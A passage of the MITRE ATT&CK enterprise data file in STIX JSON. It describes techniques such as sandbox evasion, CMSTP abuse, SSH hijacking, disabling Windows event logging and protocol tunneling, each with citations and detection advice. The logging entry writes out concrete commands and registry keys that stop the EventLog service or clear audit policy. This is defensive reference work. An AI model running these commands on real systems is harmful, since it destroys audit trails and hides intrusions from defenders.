                    "url": "https://www.netskope.com/blog/nitol-botnet-makes-resurgence-evasive-sandbox-analysis-technique"
                },
                {
                    "source_name": "Deloitte Environment Awareness",
                    "description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved September 13, 2024.",
                    "url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit"
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            "description": "Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.\n\nAdversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)\n\nBenign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)\n\nAdversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)",
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            "created": "2018-01-16T16:13:52.465Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1182",
                    "external_id": "T1182"
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                {
                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
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                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
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                {
                    "source_name": "Sysinternals AppCertDlls Oct 2007",
                    "description": "Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls. Retrieved December 18, 2017.",
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            "created": "2020-01-23T18:27:30.656Z",
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                    "url": "https://attack.mitre.org/techniques/T1218/003",
                    "external_id": "T1218.003"
                },
                {
                    "source_name": "Twitter CMSTP Usage Jan 2018",
                    "description": "Carr, N. (2018, January 31). Here is some early bad cmstp.exe... Retrieved September 12, 2024.",
                    "url": "https://x.com/ItsReallyNick/status/958789644165894146"
                },
                {
                    "source_name": "Microsoft Connection Manager Oct 2009",
                    "description": "Microsoft. (2009, October 8). How Connection Manager Works. Retrieved April 11, 2018.",
                    "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)"
                },
                {
                    "source_name": "MSitPros CMSTP Aug 2017",
                    "description": "Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018.",
                    "url": "https://msitpros.com/?p=3960"
                },
                {
                    "source_name": "GitHub Ultimate AppLocker Bypass List",
                    "description": "Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.",
                    "url": "https://github.com/api0cradle/UltimateAppLockerByPassList"
                },
                {
                    "source_name": "Endurant CMSTP July 2018",
                    "description": "Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code Execution and UAC Bypass With Sysmon.. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20190316220149/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/"
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                {
                    "source_name": "Twitter CMSTP Jan 2018",
                    "description": "Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution applocker bypass. Retrieved September 12, 2024.",
                    "url": "https://x.com/NickTyrer/status/958450014111633408"
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            "name": "CMSTP",
            "description": "Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / \u201dSquiblydoo\u201d, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017)  and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft.\n\nCMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)",
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Nik Seetharaman, Palantir",
                "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity.\n\nSysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018)\n\n* To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external.\n* To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "2.2",
            "x_mitre_data_sources": [
                "Network Traffic: Network Connection Creation",
                "Command: Command Execution",
                "Process: Process Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--4d2a5b3e-340d-4600-9123-309dd63c9bf8",
            "created": "2020-02-25T18:34:38.290Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1563/001",
                    "external_id": "T1563.001"
                },
                {
                    "source_name": "SSHjack Blackhat",
                    "description": "Adam Boileau. (2005, August 5). Trust Transience:  Post Intrusion SSH Hijacking. Retrieved December 19, 2017.",
                    "url": "https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf"
                },
                {
                    "source_name": "Clockwork SSH Agent Hijacking",
                    "description": "Beuchler, B. (2012, September 28). SSH Agent Hijacking. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20210311184303/https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking/"
                },
                {
                    "source_name": "Slideshare Abusing SSH",
                    "description": "Duarte, H., Morrison, B. (2012). (Mis)trusting and (ab)using ssh. Retrieved January 8, 2018.",
                    "url": "https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219"
                },
                {
                    "source_name": "Breach Post-mortem SSH Hijack",
                    "description": "Hodgson, M. (2019, May 8). Post-mortem and remediations for Apr 11 security incident. Retrieved November 17, 2024.",
                    "url": "https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident/"
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            "object_marking_refs": [
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            "name": "SSH Hijacking",
            "description": "Adversaries may hijack a legitimate user's SSH session to move laterally within an environment. Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial.(Citation: Slideshare Abusing SSH)(Citation: SSHjack Blackhat)(Citation: Clockwork SSH Agent Hijacking)(Citation: Breach Post-mortem SSH Hijack)\n\n[SSH Hijacking](https://attack.mitre.org/techniques/T1563/001) differs from use of [SSH](https://attack.mitre.org/techniques/T1021/004) because it hijacks an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
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            "x_mitre_contributors": [
                "Anastasios Pingios"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Use of SSH may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. Also monitor user SSH-agent socket files being used by different users.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS"
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            "x_mitre_version": "1.1",
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                "Process: Process Creation",
                "Network Traffic: Network Traffic Content",
                "Command: Command Execution",
                "Logon Session: Logon Session Creation",
                "Network Traffic: Network Traffic Flow"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a",
            "created": "2020-02-21T20:46:36.688Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1562/002",
                    "external_id": "T1562.002"
                },
                {
                    "source_name": "Disable_Win_Event_Logging",
                    "description": " dmcxblue. (n.d.). Disable Windows Event Logging. Retrieved September 10, 2021.",
                    "url": "https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/defense-evasion/t1562-impair-defenses/disable-windows-event-logging"
                },
                {
                    "source_name": "def_ev_win_event_logging",
                    "description": "Chandel, R. (2021, April 22). Defense Evasion: Windows Event Logging (T1562.002). Retrieved September 14, 2021.",
                    "url": "https://www.hackingarticles.in/defense-evasion-windows-event-logging-t1562-002/"
                },
                {
                    "source_name": "EventLog_Core_Technologies",
                    "description": "Core Technologies. (2021, May 24). Essential Windows Services: EventLog / Windows Event Log. Retrieved September 14, 2021.",
                    "url": "https://www.coretechnologies.com/blog/windows-services/eventlog/"
                },
                {
                    "source_name": "Audit_Policy_Microsoft",
                    "description": "Daniel Simpson. (2017, April 19). Audit Policy. Retrieved September 13, 2021.",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/audit-policy"
                },
                {
                    "source_name": "Windows Log Events",
                    "description": "Franklin Smith. (n.d.). Windows Security Log Events. Retrieved February 21, 2020.",
                    "url": "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/"
                },
                {
                    "source_name": "disable_win_evt_logging",
                    "description": "Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging. Retrieved April 7, 2022.",
                    "url": "https://ptylu.github.io/content/report/report.html?report=25"
                },
                {
                    "source_name": "auditpol",
                    "description": "Jason Gerend, et al. (2017, October 16). auditpol. Retrieved September 1, 2021.",
                    "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol"
                },
                {
                    "source_name": "winser19_file_overwrite_bug_twitter",
                    "description": "Naceri, A. (2021, November 7). Windows Server 2019 file overwrite bug. Retrieved April 7, 2022.",
                    "url": "https://web.archive.org/web/20211107115646/https://twitter.com/klinix5/status/1457316029114327040"
                },
                {
                    "source_name": "T1562.002_redcanaryco",
                    "description": "redcanaryco. (2021, September 3). T1562.002 - Disable Windows Event Logging. Retrieved September 13, 2021.",
                    "url": "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.002/T1562.002.md"
                },
                {
                    "source_name": "Advanced_sec_audit_policy_settings",
                    "description": "Simpson, D. et al. (2017, April 19). Advanced security audit policy settings. Retrieved September 14, 2021.",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/advanced-security-audit-policy-settings"
                },
                {
                    "source_name": "auditpol.exe_STRONTIC",
                    "description": "STRONTIC. (n.d.). auditpol.exe. Retrieved September 9, 2021.",
                    "url": "https://strontic.github.io/xcyclopedia/library/auditpol.exe-214E0EA1F7F7C27C82D23F183F9D23F1.html"
                },
                {
                    "source_name": "evt_log_tampering",
                    "description": "svch0st. (2020, September 30). Event Log Tampering Part 1: Disrupting the EventLog Service. Retrieved September 14, 2021.",
                    "url": "https://svch0st.medium.com/event-log-tampering-part-1-disrupting-the-eventlog-service-8d4b7d67335c"
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            "object_marking_refs": [
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            "modified": "2025-04-16T20:37:17.061Z",
            "name": "Disable Windows Event Logging",
            "description": "Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.\n\nThe EventLog service maintains event logs from various system components and applications.(Citation: EventLog_Core_Technologies) By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to <code>Security Settings\\Local Policies\\Audit Policy</code> for basic audit policy settings or <code>Security Settings\\Advanced Audit Policy Configuration</code> for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) <code>auditpol.exe</code> may also be used to set audit policies.(Citation: auditpol)\n\nAdversaries may target system-wide logging or just that of a particular application. For example, the Windows EventLog service may be disabled using the <code>Set-Service -Name EventLog -Status Stopped</code> or <code>sc config eventlog start=disabled</code> commands (followed by manually stopping the service using <code>Stop-Service  -Name EventLog</code>).(Citation: Disable_Win_Event_Logging)(Citation: disable_win_evt_logging) Additionally, the service may be disabled by modifying the \u201cStart\u201d value in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EventLog</code> then restarting the system for the change to take effect.(Citation: disable_win_evt_logging)\n\nThere are several ways to disable the EventLog service via registry key modification. First, without Administrator privileges, adversaries may modify the \"Start\" value in the key <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Security</code>, then reboot the system to disable the Security EventLog.(Citation: winser19_file_overwrite_bug_twitter) Second, with Administrator privilege, adversaries may modify the same values in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-System</code> and <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Application</code> to disable the entire EventLog.(Citation: disable_win_evt_logging)\n\nAdditionally, adversaries may use <code>auditpol</code> and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the <code>/success</code> or <code>/failure</code> parameters. For example, <code>auditpol /set /category:\u201dAccount Logon\u201d /success:disable /failure:disable</code> turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clear the audit policy, adversaries may run the following lines: <code>auditpol /clear /y</code> or <code>auditpol /remove /allusers</code>.(Citation: T1562.002_redcanaryco)\n\nBy disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Prasanth Sadanala, Cigna Information Protection (CIP) - Threat Response Engineering Team",
                "Lucas Heiligenstein"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor processes and command-line arguments for commands that can be used to disable logging. For example, [Wevtutil](https://attack.mitre.org/software/S0645), `auditpol`, `sc stop EventLog`, and offensive tooling (such as [Mimikatz](https://attack.mitre.org/software/S0002) and `Invoke-Phant0m`) may be used to clear logs.(Citation: def_ev_win_event_logging)(Citation: evt_log_tampering)  \n\nIn Event Viewer, Event ID 1102 under the \u201cSecurity\u201d Windows Log and Event ID 104 under the \u201cSystem\u201d Windows Log both indicate logs have been cleared.(Citation: def_ev_win_event_logging) `Service Control Manager Event ID 7035` in Event Viewer may indicate the termination of the EventLog service.(Citation: evt_log_tampering) Additionally, gaps in the logs, e.g. non-sequential Event Record IDs, may indicate that the logs may have been tampered.\n\nMonitor the addition of the MiniNT registry key in `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control`, which may disable Event Viewer.(Citation: def_ev_win_event_logging)",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "Sensor Health: Host Status",
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                "Windows Registry: Windows Registry Key Modification",
                "Script: Script Execution",
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                "Windows Registry: Windows Registry Key Creation",
                "Application Log: Application Log Content"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466",
            "created": "2017-05-31T21:30:34.139Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1029",
                    "external_id": "T1029"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T23:03:03.336Z",
            "name": "Scheduled Transfer",
            "description": "Adversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.\n\nWhen scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) or [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "exfiltration"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. Network connections to the same destination that occur at the same time of day for multiple days are suspicious.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Connection Creation"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541",
            "created": "2020-02-11T18:25:28.212Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1021/002",
                    "external_id": "T1021.002"
                },
                {
                    "source_name": "Medium Detecting WMI Persistence",
                    "description": "French, D. (2018, October 9). Detecting & Removing an Attacker\u2019s WMI Persistence. Retrieved October 11, 2019.",
                    "url": "https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96"
                },
                {
                    "source_name": "TechNet RPC",
                    "description": "Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/cc787851.aspx"
                },
                {
                    "source_name": "Microsoft Admin Shares",
                    "description": "Microsoft. (n.d.). How to create and delete hidden or administrative shares on client computers. Retrieved November 20, 2014.",
                    "url": "http://support.microsoft.com/kb/314984"
                },
                {
                    "source_name": "Windows Event Forwarding Payne",
                    "description": "Payne, J. (2015, November 23). Monitoring what matters - Windows Event Forwarding for everyone (even if you already have a SIEM.). Retrieved February 1, 2016.",
                    "url": "https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem"
                },
                {
                    "source_name": "Lateral Movement Payne",
                    "description": "Payne, J. (2015, November 26). Tracking Lateral Movement Part One - Special Groups and Specific Service Accounts. Retrieved February 1, 2016.",
                    "url": "https://docs.microsoft.com/en-us/archive/blogs/jepayne/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts"
                },
                {
                    "source_name": "Wikipedia Server Message Block",
                    "description": "Wikipedia. (2017, December 16). Server Message Block. Retrieved December 21, 2017.",
                    "url": "https://en.wikipedia.org/wiki/Server_Message_Block"
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            "modified": "2025-04-15T19:58:29.701Z",
            "name": "SMB/Windows Admin Shares",
            "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.\n\nSMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba.\n\nWindows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include `C$`, `ADMIN$`, and `IPC$`. Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over SMB,(Citation: Wikipedia Server Message Block) to interact with systems using remote procedure calls (RPCs),(Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) and certain configuration and patch levels.(Citation: Microsoft Admin Shares)",
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                {
                    "kill_chain_name": "mitre-attack",
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            ],
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            "x_mitre_detection": "Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne)(Citation: Windows Event Forwarding Payne) Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as [Net](https://attack.mitre.org/software/S0039), on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.(Citation: Medium Detecting WMI Persistence)",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "Logon Session: Logon Session Creation",
                "Network Traffic: Network Connection Creation",
                "Process: Process Creation",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--4fd8a28b-4b3a-4cd6-a8cf-85ba5f824a7f",
            "created": "2019-09-04T12:04:03.552Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1525",
                    "external_id": "T1525"
                },
                {
                    "source_name": "Rhino Labs Cloud Image Backdoor Technique Sept 2019",
                    "description": "Rhino Labs. (2019, August). Exploiting AWS ECR and ECS with the Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019.",
                    "url": "https://rhinosecuritylabs.com/aws/cloud-container-attack-tool/"
                },
                {
                    "source_name": "Rhino Labs Cloud Backdoor September 2019",
                    "description": "Rhino Labs. (2019, September). Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019.",
                    "url": "https://github.com/RhinoSecurityLabs/ccat"
                }
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            "modified": "2025-04-25T15:15:30.983Z",
            "name": "Implant Internal Image",
            "description": "Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike [Upload Malware](https://attack.mitre.org/techniques/T1608/001), this technique focuses on adversaries implanting an image in a registry within a victim\u2019s environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)\n\nA tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an adversary has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell](https://attack.mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Yossi Weizman, Azure Defender Research Team",
                "Vishwas Manral, McAfee",
                "Praetorian"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor interactions with images and containers by users to identify ones that are added or modified anomalously.\n\nIn containerized environments, changes may be detectable by monitoring the Docker daemon logs or setting up and monitoring Kubernetes audit logs depending on registry configuration. ",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "IaaS",
                "Containers"
            ],
            "x_mitre_version": "2.2",
            "x_mitre_data_sources": [
                "Image: Image Metadata",
                "Image: Image Creation",
                "Image: Image Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b",
            "created": "2020-03-15T16:03:39.082Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1572",
                    "external_id": "T1572"
                },
                {
                    "source_name": "Sygnia Abyss Locker 2025",
                    "description": "Abigail See, Zhongyuan (Aaron) Hau, Ren Jie Yow, Yoav Mazor, Omer Kidron, and Oren Biderman. (2025, February 4). The Anatomy of Abyss Locker Ransomware Attack. Retrieved April 4, 2025.",
                    "url": "https://www.sygnia.co/blog/abyss-locker-ransomware-attack-analysis/"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                },
                {
                    "source_name": "BleepingComp Godlua JUL19",
                    "description": "Gatlan, S. (2019, July 3). New Godlua Malware Evades Traffic Monitoring via DNS over HTTPS. Retrieved March 15, 2020.",
                    "url": "https://www.bleepingcomputer.com/news/security/new-godlua-malware-evades-traffic-monitoring-via-dns-over-https/"
                },
                {
                    "source_name": "SSH Tunneling",
                    "description": "SSH.COM. (n.d.). SSH tunnel. Retrieved March 15, 2020.",
                    "url": "https://www.ssh.com/ssh/tunneling"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:29.875Z",
            "name": "Protocol Tunneling",
            "description": "Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet. \n\nThere are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel.(Citation: SSH Tunneling)(Citation: Sygnia Abyss Locker 2025) \n\n[Protocol Tunneling](https://attack.mitre.org/techniques/T1572) may also be abused by adversaries during [Dynamic Resolution](https://attack.mitre.org/techniques/T1568). Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets.(Citation: BleepingComp Godlua JUL19) \n\nAdversaries may also leverage [Protocol Tunneling](https://attack.mitre.org/techniques/T1572) in conjunction with [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Protocol or Service Impersonation](https://attack.mitre.org/techniques/T1001/003) to further conceal C2 communications and infrastructure. ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
